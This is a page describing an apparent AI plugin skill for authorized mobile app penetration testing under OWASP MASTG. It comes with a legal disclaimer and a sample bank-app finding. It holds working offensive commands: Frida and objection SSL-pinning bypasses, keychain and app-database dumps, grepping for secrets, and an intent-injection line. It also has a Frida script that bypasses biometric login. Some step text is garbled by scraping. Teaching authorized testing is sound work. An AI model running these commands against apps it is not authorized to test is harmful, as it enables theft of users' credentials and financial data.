From cybersecurity-skills
Conducts penetration testing of iOS and Android mobile apps per OWASP MASTG. Performs static analysis, dynamic analysis, and API security testing to identify vulnerabilities.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersecurity-skills:conducting-mobile-app-penetration-testThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- Testing mobile applications before release to identify security vulnerabilities and data protection issues
Do not use against mobile applications without written authorization from the application owner, for distributing modified or repackaged applications, or for testing apps on the public app stores without a separate test build.
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Analyze the application binary without executing it:
Android Static Analysis:
jadx -d output/ target.apk to obtain Java/Kotlin source codeAndroidManifest.xml for exported components (activities, services, receivers, content providers), permissions, and debuggable flaggrep -rn "api_key\|password\|secret\|token\|aws_" output/setJavaScriptEnabled(true), addJavascriptInterface(), and loading untrusted contentpython manage.py runserver and upload the APK for automated static analysisiOS Static Analysis:
otool -L <binary> to list linked frameworks and identify third-party librariesIntercept and analyze all network communications:
frida -U -f com.target.app -l ssl-pinning-bypass.js --no-pauseobjection -g "Target App" explore --startup-command "ios sslpinning disable"Test for insecure local data storage:
Android Data Storage:
/data/data/com.target.app/sqlite3 /data/data/com.target.app/databases/*.db ".dump"logcat -d | grep -i "password\|token\|key"android:allowBackup="false" in AndroidManifest.xmliOS Data Storage:
objection -g "Target App" explore then ios keychain dumpfind /var/mobile/Containers/Data/Application/ -name "*.plist" -exec plutil -p {} \;Test mobile-specific authentication controls:
Test the application's resistance to runtime attacks:
adb shell am start -n com.target.app/.InternalActivity -e "user_id" "admin"| Term | Definition |
|---|---|
| OWASP MASTG | Mobile Application Security Testing Guide; comprehensive manual for mobile app security testing covering both iOS and Android platforms |
| Certificate Pinning | A mobile security control that restricts which TLS certificates the app trusts, preventing man-in-the-middle attacks through proxy interception |
| Frida | Dynamic instrumentation toolkit that allows injection of JavaScript into running processes to hook functions, modify behavior, and bypass security controls |
| Root/Jailbreak Detection | Application-level checks to detect if the device has been modified to grant root access, typically blocking app usage on compromised devices |
| Android Keystore | Hardware-backed credential storage on Android that protects cryptographic keys and secrets from extraction even on rooted devices |
| App Transport Security (ATS) | iOS security feature that enforces HTTPS connections by default; ATS exceptions may indicate insecure network communication |
| Deep Links | URL schemes that open specific screens within a mobile application, which may bypass normal navigation and authentication flows if not properly validated |
Context: A bank is launching a new mobile banking app for iOS and Android. The app handles account viewing, fund transfers, bill payment, and check deposit. OWASP MASVS L2 compliance is required due to the financial data handled.
Approach:
Pitfalls:
## Finding: Biometric Authentication Bypass via Frida Instrumentation
**ID**: MOB-003
**Severity**: High (CVSS 7.7)
**Platform**: Android and iOS
**OWASP MASVS**: MASVS-AUTH-2 (Biometric Authentication)
**Description**:
The mobile banking app's biometric authentication can be bypassed using Frida
dynamic instrumentation. The authentication callback function accepts a boolean
result from the biometric API, which can be hooked and forced to return true
without presenting a valid fingerprint or face scan.
**Proof of Concept (Android)**:
frida -U -f com.bank.mobileapp -l bypass-biometric.js --no-pause
// bypass-biometric.js
Java.perform(function() {
var BiometricCallback = Java.use("com.bank.mobileapp.auth.BiometricCallback");
BiometricCallback.onAuthenticationSucceeded.implementation = function(result) {
console.log("[*] Biometric bypassed");
this.onAuthenticationSucceeded(result);
};
});
**Impact**:
An attacker with physical access to an unlocked device can bypass biometric
authentication and access the victim's bank accounts, initiate transfers,
and view financial data without biometric verification.
**Remediation**:
1. Implement server-side biometric verification using Android BiometricPrompt
CryptoObject tied to a Keystore key
2. Require the biometric operation to decrypt a server-side challenge, making
client-side bypass ineffective
3. Add runtime integrity checks to detect Frida and other instrumentation frameworks
4. Implement step-up authentication for high-risk operations (transfers > threshold)
npx claudepluginhub mukul975/anthropic-cybersecurity-skills --plugin cybersecurity-skillsConducts penetration testing of iOS and Android mobile apps per OWASP MASTG. Performs static analysis, dynamic analysis, and API security testing to identify vulnerabilities.
Conducts penetration testing of iOS and Android mobile apps following OWASP MASTG. Performs static binary analysis, runtime dynamic analysis, and API security testing to identify data storage, network, auth, and cryptography vulnerabilities.
Conducts OWASP MASTG penetration testing on iOS and Android mobile apps via static binary analysis, dynamic runtime testing with Frida/Objection, and API proxying with Burp Suite.